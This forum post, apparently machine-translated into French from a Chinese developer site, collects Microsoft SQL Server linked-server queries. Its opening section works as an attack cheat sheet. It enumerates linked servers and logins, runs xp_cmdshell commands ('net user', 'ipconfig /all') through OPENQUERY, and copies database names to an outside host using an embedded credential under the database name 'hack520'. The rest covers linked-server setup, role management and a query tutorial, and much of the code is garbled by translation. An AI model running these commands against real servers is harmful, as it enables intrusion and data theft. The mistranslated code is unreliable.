e,isremote,rpc,accès aux données depuis master.dbo.sysservers
choisir

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,accès aux données depuis master.dbo.sysservers



Requête linkserver2
sélectionnez nom d’hôte distinct,db_name(dbid),net_address,loginame,program_name à partir de

maître... sysprocesses



Interroger le serveur de liens
et autres utilisateurs connectés
select * from [192.168.1.1].master.dbo.syslogins



Query linkserver
Toutes les bases de données
select * from linkedSrvWeb.master.dbo.sysdatabases



Effectuer un stockage étendu sur LinkServer
exécutif [IP].master.dbo.xp_cmdshell



Interroger toutes les tables sur le serveur de liens
Select * from [IP].master.dbo.sysobjects








select * depuis openrowset

('sqloledb','server=IP ; uid=utilisateur ; pwd=mot de passe', 'select @@version')


select * from openquery([LINKSERVER

nom], 'sélectionner @@version')




select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')




select * from openquery(GM_SERVER,'select * from sysobjects où xtype = (''U'')')


select * from

openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')




Select * depuis OpenQuery(ToatDeWeb,'Select

srvname issu de master.dbo.sysservers')


Insérer dans OpenDataSource

('sqloledb','server=222.241.95.12 ; UID=SCD ; PWD=A123520 ; database=hack520').hack520.dbo.zhu select

nom issu de master.dbo.sysdatabases
créer une base de données hack520 Créer TABLE zhu(nom nvarchar(256)

null) Create TABLE J8(id int NULL, name nvarchar(256) null) ;


Select * depuis OpenQuery

(toatdeweb, « mettre fmtonly désactivé par exécutif master.dbo.xp_cmdshell « utilisateur net »'')


Maître exécutif... xp_dirtree

'c :\',1,1
Effectuer un répertoire de requête


exécutif links.master.. xp_cmdshell 'ipconfig'


Select * depuis OpenQuery(ToatDeWeb,'Set

fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all'')



Connecter mysql Select * depuis Mem_DB. UserDB.dbo.AdminList


MAÎTRE EXÉCUTIF... XP_dirtree 'c :\',1,1




Exécutif

master.dbo.xp_cmdshell 'dir'


Select count(*) depuis [indiquer]
Interrogez la quantité de données contenue dans le tableau actuel




sélectionnez nom d’hôte distinct,db_name(dbid),net_address,logname,program_name

De la part du maître... sysprocesses






sélectionner * depuis gameDB01. Server01.dbo.cabal_character_table où nom='

Cochon





Quand vous la supprimez, il est indiqué : La base de données est utilisée et ne peut pas être supprimée.


Cliquez sur la base de données que vous souhaitez supprimer pour ouvrir l’Observateur d’événements.


Entrée :


Utilisation   

maître
Vas-y
Entrez ensuite les éléments suivants :
déclarer @d Varchar (8000)
Ensemble @d= ' '
sélectionne @d=@d+ ' tuer   

'+cast(spid en tant que varchar)+personnage(13)
De la part du maître... sysprocesses où dbid=db_id(« nom de la bibliothèque »)
exécutif(@d)
--
Utilisez un code pour supprimer d’abord le processus qui se connecte à cette base de données












MSSQL exploite Oracle via LinkServer






1) Installer Oracle sur le serveur SQL_SERVER 2005

9i. Supposons installer dans le dossier C :\ora92i\. Si D : est une partition NTFS, vous devez définir le dossier ORACLE installé comme celui utilisé

Les abonnés ont le droit de l’exécuter, d’ajouter et de supprimer.


2)
Configurez le fichier C :\ora92i\network\ADMIN\tnsnames.ora. (Le texte rouge suivant est un exemple de configuration)


ORCL=


(DEscrip{filter}tION=.)


(ADDRESS_LIST =


(ADDRESS = (PROTOCOLE = TCP)(HOST = 192.168.0.11)(PORT= 1521))


)


(CONNECT_DATA =


(SERVICE_NAME = orcl)


)


)


3)
Exécutez la commande suivante en mode DOS pour confirmer que le client ORACLE est bien installé.


Utilisateur/password@ORCL SQL Plus


4)
Ouvrir Start - Panneau de contrôle - Services et confirmer que le service de Coordinateur de Transactions Distribuées est lancé.



5) Ouvrir SQL SERVER Management Studio, Nom d’instance (ORCL) - Objet serveur (clic droit) - Nouveau serveur de connexion.


1.      


Serveur de liaison : Écrivez le nom du serveur lié, comme OracleTest


2.         
Type de serveur, sélectionnez une autre source de données


3. Interface d’accès :
Sélectionnez le fournisseur Oracle pour OLE DB


4. Nom du produit : Écrire Oracle


5. Source des données : Rapport

Le nom du service est configuré dans le fichier tnsnames.ora, tel que ORCL


6.         
Chaîne d’interface d’accès : userid=sys as sysdba ; mot de passe = mot de passe


7.         
Sur la page Select Security Options, utilisez ce contexte d’installation pour établir une connexion :


a) Connexion à distance : utilisateur (autre utilisateur, pas sys)


b)      

    Utiliser mot de passe : mot de passe


8. Définir « NT AUTHORITY\SYSTEM » sur la connexion locale, sys, et définir le mot de passe


9.

         Es-tu sûr


6) Il existe deux façons d’écrire SQL


a) Utilisation de la syntaxe T-SQL :


           SELECT * FROM

OraTest.ERP.BAS_ITEM_CLASS


           Notez que lors de la saisie des instructions SQL dans SQL Query Analyzer, faites attention aux commutations chinoises pleine et demi-largeur

Way !


b) Utiliser la syntaxe PLSQL :
           SELECT * FROM openquery(OraTest,'SELECT * FROM

OraTest.ERP.BAS_ITEM_CLASS ')


           c) La deuxième méthode d’accès est environ 50 % plus rapide que la première ; La seconde méthode d’accès est directement connectée

ORACLE est comparable ; La première méthode d’accès peut entraîner des erreurs inattendues, telles que :
           La table n’existe pas, ni l’utilisateur actuel

Il n’y a pas d’accès à la table, etc.


           d) Si la colonne à consulter utilise des types de données sans précision, les deux

C’est un bug d’ORACLE qui ne peut pas être corrigé, et ne peut être évité qu’en gérant spécialement les instructions de requête :


     Les métadonnées fournies par le fournisseur OLE DB 'OraOLEDB.Oracle' pour les colonnes sont incohérentes. Les informations sur les métadonnées sont modifiées lors de l’exécution.










MSSQL a ajouté

Supprimez l’utilisateur et donnez les permissions


Utilisez votre nom de bibliothèque   
Vas-y   
--Ajouter des utilisateurs   
Exécutif sp_addlogin 'test' -- Ajouter une connexion   
Exécutif

sp_grantdbaccess N’test' - en faire un utilisateur légitime de la base de données actuelle   
exécutif sp_addrolemember N’db_owner',

N’test - accorde toutes les permissions à leur propre base de données   
--Cela crée des utilisateurs qui ne peuvent accéder qu’à leur propre base de données et à ce qui y est inclus

Table publique pour les utilisateurs invités   
Vas-y   
--Supprimer l’utilisateur de test   
exec sp_revokedbaccess N’test » -- Supprimer l’accès à la base de données

Limite   
exécutif sp_droplogin N’test' -- supprimer la connexion   
Si vous le créez dans Enterprise Manager, utilisez :   
Gestionnaire d’entreprise - Sécurité

Sexe --Clic droit Connexion --Nouvelle connexion   
Articles généraux   
--Entrez le nom d’utilisateur dans le nom   

--La méthode d’authentification est sélectionnée selon vos besoins (si vous utilisez l’authentification Windows, vous devez d’abord créer un nouvel utilisateur parmi les utilisateurs du système d’exploitation)   

--Dans les paramètres par défaut, sélectionnez le nom de base de données auquel vous souhaitez accéder pour le nouvel utilisateur   
Élément de rôle serveur   
Ne choisis rien là-dedans   
base de données

Objet d’accès   
Vérifiez le nom de la base de données que vous souhaitez accéder pour l’utilisateur que vous créez   
Autoriser le rôle de base de données, cochez « public », « db_ownew »   
Bien sûr, ça

L’utilisateur créé par l’échantillon est le même que l’utilisateur créé par l’énoncé ci-dessus   



La dernière étape consiste à définir des autorisations d’accès spécifiques pour des utilisateurs spécifiques, ce qui peut être référencé à l’exemple minimal suivant :   

--Ajouter des utilisateurs autorisés uniquement à accéder à la table spécifiée :   
sp_addlogin exécutif 'nom d’utilisateur', 'mot de passe', 'nom de base de données par défaut'   

--ajouter à la base de données   
Exécutif sp_grantdbaccess « nom d’utilisateur »   

--Attribuer des permissions de table entières   
ACCORDER SELECT , INSERT , UPDATE , DELETE ON TABLE1 À [NOM D’UTILISATEUR]   
--Attribuer des permissions à des colonnes spécifiques   
ACCORDER LA SÉLECTION , MISE À JOUR SUR table1(id,AA) vers [nom d’utilisateur]   


Pour des paramètres de sécurité spécifiques et des connaissances théoriques, veuillez consulter l’aide SQL Online  







Description du rôle de base de données fixe   
  db_owner Avoir les autorisations complètes dans la base de données.   

db_accessadmin Vous pouvez ajouter ou retirer des identifiants utilisateurs.   

db_securityadmin Peut gérer les permissions complètes, la propriété des objets, les rôles et les adhésions de rôles.   

db_ddladmin peut émettre TOUS les DDL, mais pas les déclarations d’ACCORDER, RÉVOQUER ou REFUSER.   

db_backupoperator peut émettre des instructions DBCC, CHECKPOINT et BACKUP.   

db_datareader Vous pouvez sélectionner toutes les données de n’importe quelle table utilisateur dans la base de données.   

db_datawriter Vous pouvez modifier toutes les données dans n’importe quelle table utilisateur de la base de données.   

db_denydatareader Vous ne pouvez sélectionner aucune donnée dans une table utilisateur dans la base de données.   

db_denydatawriter Vous ne pouvez modifier aucune donnée dans une table utilisateur de la base de données.  





Vous devriez choisir db_datareader, db_datawriter, db_accessadmin




5.
Après le lancement de l’instance SQL Server en mode utilisateur unique, le compte administrateur Windows peut utiliser l’outil sqlcmd pour se connecter en mode authentification Windows

SQL Server。 Vous pouvez utiliser des commandes T-SQL telles que « sp_addsrvrolemember » pour ajouter une connexion existante au rôle de serveur sysadmin

Ou créer un nouveau compte de connexion.
Voici un exemple d’énoncé :


EXÉCUTIF sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin' ;


GO


Ajouter un privilège administrateur système








(1) Gérer les rôles de serveur


Dans SQL Server, il existe deux principales procédures stockées qui implémentent la gestion des rôles SQL Server :


sp_addsrvrolemember

et sp_dropsrvrolemember


sp_addsrvrolemember
Vous pouvez ajouter un compte de connexion à un rôle serveur pour en faire un membre de ce rôle serveur. La syntaxe est la suivante :
sp_addsrvrolemember

connexion , rôle


sp_dropsrvrolemember
Vous pouvez supprimer un compte de connexion d’un rôle serveur, et lorsque le membre est retiré du rôle serveur, il n’a plus ce rôle de serveur

Les permissions sont définies. La syntaxe est la suivante :
sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'


dans ce domaine

@loginname est le nom de l’utilisateur connecté ; @rolename est un rôle de serveur.




(2) Gérer les rôles dans la base de données


Dans SQL Server, la gestion de bases de données est prise en charge

Il existe six principaux types de procédures stockées, dont les significations et la syntaxe spécifiques sont les suivantes :


sp_addrole : Utilisé pour créer un nouveau rôle de base de données ;
sp_addrole

Rôle, propriétaire


sp_droprole : Utilisé pour retirer un rôle de base de données du rôle actuel ;
sp_droprole rôle


sp_helprole :

Il est utilisé pour afficher toutes les informations sur tous les rôles de base de données dans la base de données actuelle ;
sp_helprole ['rôle']


sp_addrolemember : Utilisé pour envoyer à la base de données

Ajouter des utilisateurs de base de données à un rôle, qui peut être des rôles standards définis par l’utilisateur ou des rôles fixes dans la base de données, mais qui ne peut pas l’être

Postes de candidature.
sp_addrolemember rôle, security_account


sp_droprolemember : Utilisé pour supprimer un certain personnage

le foyer ;
sp_droprolemember rôle, security_account


sp_helprolemember : Utilisé pour afficher tous les membres d’un rôle dans une base de données


sp_helprolemember ['rôle']






Requête MSSQL LINKSERVER


----------------------------------------------------------------------------------
-- Auteur :

htl258 (Tony)
-- Date : 2010-06-25 22:23:18
-- Version : Microsoft SQL Server 2008 (RTM) -

10.0.1600.22 (Intel X86)
-- 9 juil. 2008 14:43:34
-- Copyright (c) 1988-2008 Microsoft Corporation
--

Developer Edition sur Windows NT 5.1 (Build 2600 : Service Pack 2)
-- Blog : -- Objet :
Opérations de données SQL entre différentes bases de données serveur
----------------------------------------------------------------------------------
--1.
Créer un serveur de liens
--1.1 Créer un nom de lien
EXEC sp_addlinkedserver 'LinkName', ''SQLOLEDB', le nom du serveur distant

ou adresse IP » —
Si vous avez un nom d’instance personnalisé, ajoutez « \nom d’instance »
/*例如:EXEC sp_addlinkedserver

'TonyLink','','SQLOLEDB','192.168.58.208' */
--1.2
Créez une connexion (ou créez une carte de connexion serveur de liens) (choisissez simplement une option)
--1.2.1
Connexion avec l’authentification Windows
EXÉCUTIF sp_addlinkedsrvlogin « LinkName »
--ou EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */
--1.2.2
Connexion avec l’authentification SQL
EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL,'Username', 'Password'
/*例如:EXEC

sp_addlinkedsrvlogin 'TonyLink', 'false', null,'sa', '123' */
--2.
Opérations de données liées au serveur de liaison
--2.1 Exemple de requête
SELECT * FROM LinkName.database name.schema name.table name
/*例如:SELECT *

DEPUIS TonyLink.Mydb.dbo.tb */
--
2.2 Exemple d’importation
SELECT * DANS le nom de la table DEPUIS LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb

DEPUIS TonyLink.Mydb.dbo.tb */
--
2.3 Exemple de mise à jour
MISE À JOUR LinkName.Database Name.Schema Name.Table Name SET champ='value' OÙ champ='condition'
/*例如:UPDATE

TonyLink.Mydb.dbo.tb SET Persons='g' WHERE Persons='a' */
--
2.4 Supprimer les exemples
SUPPRIMER NomDeLien.Nom de la base de données.Nom du schéma.Nom de la table OÙ nom du champ='condition'
/*例如:DELETE

TonyLink.Mydb.dbo.tb WHERE Persons='g' */
--3 via la fonction de rowset (OPENQUERY/OPENROWSET/OPENDATASOURCE).

Méthode
-
3.1 Méthode OPENQUERY (nécessite l’aide du serveur de liens que vous venez de créer) :
--
3.1.1 Exemple de requête
SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM database name. Nom d’architecture. Nom de la table »)
/*
Par exemple : SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */
--
3.1.2 Exemples d’importation
--3.1.2.1 Importer toutes les colonnes
INSERT OPENQUERY(LinkName, 'SELECT * FROM nom de la base de données. Nom d’architecture. Nom du tableau

') SELECT * FROM le tableau local
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *

DE TB */
--3.1.2.2
Importez les colonnes spécifiées
INSERT OPENQUERY(LinkName, 'SELECT * FROM nom de la base de données. Nom d’architecture. Nom du tableau') (colonne, colonne...)
colonne SELECT,

Colonne... DE la table locale
/*
Par exemple : INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons)
CHOISIR

ÉTENDUE, NIVEAU, Personnes originaires de la tuberculose
*/
--3.1.3
Exemples de mises à jour
MISE À JOUR OPENQUERY(LinkName, 'SELECT * FROM nom de la base de données. Nom d’architecture. nom de la table') SET champ = 'valeur' mot WHERE

Segment = « Condition »
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE

Persons='a' */
--3.1.4
Supprimer les exemples
SUPPRIMER OPENQUERY(NomLink, 'SELECT * FROM nom de la base de données. Nom d’architecture. nom de la table') OÙ nom du champ='condition'
/*例

Par exemple : DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WHERE Persons='g' */
--3.2
Méthode OPENROWSET (vous n’avez pas besoin d’utiliser le nom du lien créé.) Si le nom d’instance connectée n’est pas par défaut, vous devez le définir dans le nom du serveur SQL ou l’adresse IP.

« \nom de l’instance »)
--3.2.1 Exemple de requête
--3.2.1.1
Requête de méthode d’authentification Windows (l’une des méthodes suivantes suffit)
SÉLECTIONNEZ * DEPUIS OPENROWSET('SQLOLEDB', 'server=nom serveur SQL ou

adresse IP ; Trusted_Connection=oui', nom de la base de données. Nom d’architecture. Nom du tableau)
SÉLECTIONNEZ * DEPUIS OPENROWSET('SQLNCLI',

'server=nom ou adresse IP du serveur SQL ; Trusted_Connection=oui', nom de la base de données. Nom d’architecture. Nom du tableau)
SELECT * FROM

OPENROWSET('SQLOLEDB', 'server=nom ou adresse IP du serveur sql ; Trusted_Connection=oui','SELECT * DEPUIS la base de données

Nom. Nom d’architecture. Nom de la table »)
SÉLECTIONNEZ * DEPUIS OPENROWSET('SQLNCLI', 'serveur=nom ou adresse IP du serveur sql

Adresse ; Trusted_Connection=oui', 'SELECT * DEPUIS le nom de la base de données. Nom d’architecture. Nom de la table »)
/*
Par exemple : SELECT * FROM OPENROWSET

('SQLOLEDB','Server=192.168.58.208 ; Trusted_Connection=yes',Mydb.dbo.tb)

Ou : SELECT * DEPUIS OPENROWSET

('SQLNCLI','Server=192.168.58.208 ; Trusted_Connection=yes',Mydb.dbo.tb)

Ou : SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208 ; Trusted_Connection=oui','SELECT *

DE Mydb.dbo.tb')

Ou : SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208 ; Trusted_Connection=oui','SELECT *

DE Mydb.dbo.tb')
*/
--3.2.1.2 Requête de méthode d’authentification SQL (L’une des méthodes suivantes est suffisante)
SELECT * DEPUIS OPENROWSET

('SQLOLEDB', 'serveur=nom ou adresse IP du serveur SQL ; uid=nom d’utilisateur ; PWD = mot de passe, nom de la base de données. Nom d’architecture. Nom du tableau)
SELECT * FROM

OPENROWSET('SQLNCLI', 'server=nom ou adresse IP du serveur sql ; uid=nom d’utilisateur ; PWD = mot de passe, nom de la base de données. Nom d’architecture. Nom du tableau)
SÉLECTIONNEZ * DEPUIS OPENROWSET('SQLOLEDB', 'serveur=nom ou adresse IP du serveur sql ; uid=nom d’utilisateur ; pwd=mot de passe','SELECT *

Nom de la base de données FROM. Nom d’architecture. Nom de la table »)
SÉLECTIONNEZ * DEPUIS OPENROWSET('SQLNCLI', 'serveur=nom ou adresse IP du serveur sql ; uid=

Nom d’utilisateur; pwd=mot de passe', 'SELECT * FROM nom de la base de données. Nom d’architecture. Nom de la table »)
SÉLECTIONNEZ * DEPUIS OPENROWSET('SQLOLEDB', 'sql

nom du serveur » ; « nom d’utilisateur » ; « mot de passe », nom de la base de données. Nom d’architecture. Nom du tableau)
SÉLECTIONNEZ * DEPUIS OPENROWSET('SQLNCLI', 'NOM DU SERVEUR SQL

'; « nom d’utilisateur » ; « mot de passe », nom de la base de données. Nom d’architecture. Nom du tableau)
SÉLECTIONNEZ * DEPUIS OPENROWSET('SQLOLEDB', 'NOM DU SERVEUR SQL' ; « utilisateur

nom » ; 'Mot de passe', 'SÉLECTIONNER * DEPUIS le nom de la base de données. Nom d’architecture. Nom de la table »)
SELECT * FROM OPENROWSET('SQLNCLI', 'sql server

nom » ; « nom d’utilisateur » ; 'Mot de passe', 'SÉLECTIONNER * DEPUIS le nom de la base de données. Nom d’architecture. Nom de la table »)
/* 例如:SELECT * FROM OPENROWSET

('SQLOLEDB','server=192.168.58.208 ; UID=SA ; pwd=123',mydb.dbo.tb)
Ou : SELECT * DEPUIS OPENROWSET

('SQLNCLI','server=192.168.58.208 ; UID=SA ; pwd=123',mydb.dbo.tb)
Ou : SELECT * DEPUIS OPENROWSET

('SQLOLEDB','server=192.168.58.208 ; UID=SA ; pwd=123','SELECT * FROM Mydb.dbo.tb')

ou : SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208 ; UID=SA ; pwd=123','SELECT * FROM

Mydb.dbo.tb')

ou : SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208' ; 'sa' ; '123', mydb.dbo.tb)

ou : SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208' ; 'sa' ; '123', mydb.dbo.tb)

ou : SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208' ; 'sa' ; '123','SELECT * FROM Mydb.dbo.tb')

ou : SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208' ; 'sa' ; '123','SELECT * FROM Mydb.dbo.tb')
*/
--3.2.2 Exemple d’importation
--3.2.2.1 Importer toutes les colonnes
INSÉRER OPENROWSET('SQLOLEDB', 'server=nom ou adresse IP du serveur SQL

Adresse ; uid=nom d’utilisateur ; PWD = mot de passe, nom de la base de données. Nom d’architecture. Nom du tableau)
SELECT * FROM Local Table
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208 ; UID=SA ; pwd=123',mydb.dbo.tb)
SELECT * FROM TB
*/
--3.2.2.2 Importation

Spécifier les colonnes
INSÉRER OPENROWSET('SQLOLEDB', 'server=nom ou adresse IP du serveur SQL ; uid=nom d’utilisateur ; PWD = mot de passe, nom de la base de données. Rack

Nom du construct. Nom du tableau) (colonne, colonne...)
Colonne SELECT, colonne... DE la table locale
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208 ; UID=SA ; pwd=123', mydb.dbo.tb)(PORTÉE, NIVEAU, Personnes)
CHOISIR

ÉTENDUE, NIVEAU, Personnes originaires de la tuberculose
*/
--Note : Pour plus de méthodes alternatives, consultez l’exemple de la requête .2.1, il suffit de remplacer la fonction OPENROWSET

Le contenu est suffisant.
--3.2.3 Exemple de mise à jour
UPDATE OPENROWSET('SQLOLEDB', 'server=nom ou adresse IP du serveur sql ; uid=nom d’utilisateur

;p wd=mot de passe, nom de la base de données. Nom d’architecture. Nom du tableau)
Champ SET = 'valeur'
OÙ champ = 'condition'
/*例如:UPDATE OPENROWSET

('SQLOLEDB','server=192.168.58.208 ; UID=SA ; pwd=123',mydb.dbo.tb)
SET Persons='g'
OÙ Personnes = 'a'
*/
--Note : Pour plus de méthodes alternatives, consultez l’exemple de la requête .2.1, il suffit de remplacer le contenu dans l’ensemble OPENROWSET.
--3.2.4 Supprimer l’indication

Exemple
SUPPRIMEZ OPENROWSET('SQLOLEDB', 'serveur=nom ou adresse IP du serveur sql ; uid=nom d’utilisateur ; PWD = mot de passe, nom de la base de données. Nom du schéma

.nom de table)
OÙ nom du champ='condition'
/*
Par exemple : DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208 ; UID=SA ; pwd=123',mydb.dbo.tb)


Personnages='g'
*/
--Note :
Pour plus de méthodes alternatives, voir l’exemple de requête .2.1, il suffit de remplacer le contenu dans l’OPENROWSET.
--3.3 Méthode OPENDATASOURCE

(Vous n’avez pas besoin d’utiliser le nom du lien créé.) Si le nom d’instance de la connexion n’est pas le nom par défaut, vous devez ajouter \nom d’instance après le nom du serveur SQL ou l’adresse IP

")
--3.3.1
Exemple de requête
--3.3.1.1 Requête de la méthode d’authentification Windows (L’une des méthodes suivantes est suffisante)
SÉLECTIONNEZ * DEPUIS OPENDATASOURCE('SQLOLEDB',

'server=nom ou adresse IP du serveur SQL ; Trusted_Connection=oui'). Nom de la base de données. Nom d’architecture. Nom du tableau
SELECT * FROM

OPENDATASOURCE('SQLNCLI', 'server=nom ou adresse IP du serveur sql ; Trusted_Connection=oui'). Nom de la base de données. Nom d’architecture.

Nom du tableau
/*
Par exemple : SELECT * DEPUIS OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208 ; Trusted_Connection=oui'). Mydb.dbo.tb

Ou : SELECT * DEPUIS OPENDATASOURCE

('SQLNCLI','Server=192.168.58.208 ; Trusted_Connection=oui'). Mydb.dbo.tb
*/
--3.3.1.2
Requête de méthode d’authentification SQL (l’une des méthodes suivantes suffit)
SÉLECTIONNEZ * DEPUIS OPENDATASOURCE('SQLOLEDB', 'server=nom du serveur sql ou

adresse IP ; uid=nom d’utilisateur ; pwd=mot de passe).
Nom de la base de données. Nom d’architecture. Nom du tableau
SÉLECTIONNEZ * DEPUIS OPENDATASOURCE('SQLNCLI', 'serveur=nom ou adresse IP du serveur SQL ; uid=utilisateur

Nom ; pwd=mot de passe).
Nom de la base de données. Nom d’architecture. Nom du tableau
SÉLECTIONNEZ * DEPUIS OPENDATASOURCE('SQLOLEDB', 'Data Source=nom ou adresse IP du serveur sql

Adresse ; uid=nom d’utilisateur ; pwd=mot de passe).
Nom de la base de données. Nom d’architecture. Nom du tableau
SÉLECTIONNEZ * DEPUIS OPENDATASOURCE('SQLNCLI', 'Data Source=nom ou adresse IP du serveur sql

Adresse ; uid=nom d’utilisateur ; pwd=mot de passe).
Nom de la base de données. Nom d’architecture. Nom du tableau
/* 例如:SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208 ; UID=SA ; pwd=123').mydb.dbo.tb

Ou : SELECT * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208 ; UID=SA ; pwd=123').mydb.dbo.tb

Ou : SELECT * FROM OPENDATASOURCE('SQLOLEDB','Data

Source=192.168.58.208 ; UID=SA ; pwd=123').mydb.dbo.tb

Ou : SELECT * FROM OPENDATASOURCE('SQLNCLI','Data

source=192.168.58.208 ; UID=SA ; pwd=123').mydb.dbo.tb
*/
Importez toutes les colonnes
INSÉRER OPENDATASOURCE('SQLOLEDB', 'serveur=nom ou adresse IP du serveur sql ; uid=nom d’utilisateur ; pwd=mot de passe).

Selon le nom de la bibliothèque. Nom d’architecture. Nom du tableau
SELECT * FROM Local Table
/*
Par exemple : INSÉRER OPENDATASOURCE('SQLOLEDB','server=192.168.58.208 ; UID=SA ; pwd=123').mydb.dbo.tb
CHOISIR

* DE TB
*/
--3.3.2.2
Importez les colonnes spécifiées
INSÉRER OPENDATASOURCE('SQLOLEDB', 'serveur=nom ou adresse IP du serveur sql ; uid=nom d’utilisateur ; pwd=mot de passe).

Selon le nom de la bibliothèque. Nom d’architecture. Nom du tableau (colonne, colonne...)
Colonne SELECT, colonne... DE la table locale
/*
Par exemple : INSÉRER OPENDATASOURCE('SQLOLEDB','server=192.168.58.208 ; UID=SA ; pwd=123').mydb.dbo.tb

(PORTÉE, NIVEAU, Personnes)
SÉLECTIONNEZ LA PORTÉE, LE NIVEAU, LES PERSONNES DE LA TUBERCULOSE
*/
--Note :
Pour d’autres méthodes alternatives, voir l’exemple de requête .3.1, il suffit de remplacer le contenu dans la fonction de jeu de lignes (OPENDATASOURCE).
--3.3.3 Exemple de mise à jour
MISE À JOUR OPENDATASOURCE('SQLOLEDB', 'server=nom ou adresse IP du serveur sql ; uid=nom d’utilisateur ; pwd=mot de passe).
Nom de la base de données. Nom d’architecture. Nom du tableau
Champ SET = 'valeur'
OÙ champ = 'condition'
/*例如:UPDATE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208 ; UID=SA ; pwd=123').mydb.dbo.tb
SET Persons='g'
OÙ Personnes = 'a'
*/
--Note :
Pour d’autres méthodes alternatives, voir l’exemple de requête .3.1, il suffit de remplacer le contenu dans la fonction de jeu de lignes (OPENDATASOURCE).
--3.3.4 Supprimer l’exemple
SUPPRIMEZ OPENDATASOURCE('SQLOLEDB', 'serveur=nom ou adresse IP du serveur sql ; uid=nom d’utilisateur ; pwd=mot de passe).
Nom de la base de données. Nom d’architecture. Nom du tableau
OÙ nom du champ='condition'
/*例如:DELETE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208 ; UID=SA ; pwd=123').mydb.dbo.tb
OÙ Personnages='g'
*/
- Note : Plus d’alternatives

Référez-vous à l’exemple de requête .3.1, il suffit de remplacer le contenu dans la fonction de rowset (OPENDATASOURCE).
--
Supprimer la méthode serveur lié
--Si vous n’utilisez plus les informations du lien à l’avenir, vous pouvez supprimer les informations du lien
--4.1
Supprimer les informations de connexion (ou supprimer la carte des noms de connexion des serveurs liés)
EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/*
Par exemple : EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */
--4.2
Supprimer le nom du serveur lié
EXEC sp_dropserver 'LinkName', 'droplogins' — si les droplogins sont spécifiés,
La carte de connexion doit être supprimée avant de supprimer le serveur lié
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */


--Joint


Comment obtenir le nom du fournisseur (maître EXEC.). xp_enum_oledb_providers)
SELECT CAST([Nom du fournisseur] EN

VARCHAR(30)) NomFournisseur,
CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion
DE

OPENROWSET(
'SQLOLEDB',
'Serveur=. ; Trusted_Connection=oui',
« DÉCLENCHEZ LE PREMIER ;
EXÉCUTIF

maître... xp_enum_oledb_providers'
)




Précédent:Détails sur la gestion des vulnérabilités UCloud et les détails des récompenses
Prochain:Je peux prendre un train pour rentrer chez moi aujourd’hui, et je ne suis pas rentré chez moi depuis plus de six mois
Publié sur 27/09/2017 17:43:11 |
Très détaillé Merci
 Propriétaire| Publié sur 17/06/2023 11:12:11 |
Testez les tests d’injection SQL avec l’outil d’infiltration SQLMAP
https://www.itsvse.com/thread-10611-1-1.html
Démenti:
Tous les logiciels, supports de programmation ou articles publiés par Code Farmer Network sont uniquement destinés à l’apprentissage et à la recherche ; Le contenu ci-dessus ne doit pas être utilisé à des fins commerciales ou illégales, sinon les utilisateurs assumeront toutes les conséquences. Les informations sur ce site proviennent d’Internet, et les litiges de droits d’auteur n’ont rien à voir avec ce site. Vous devez supprimer complètement le contenu ci-dessus de votre ordinateur dans les 24 heures suivant le téléchargement. Si vous aimez le programme, merci de soutenir un logiciel authentique, d’acheter l’immatriculation et d’obtenir de meilleurs services authentiques. En cas d’infraction, veuillez nous contacter par e-mail.

Mail To:help@itsvse.com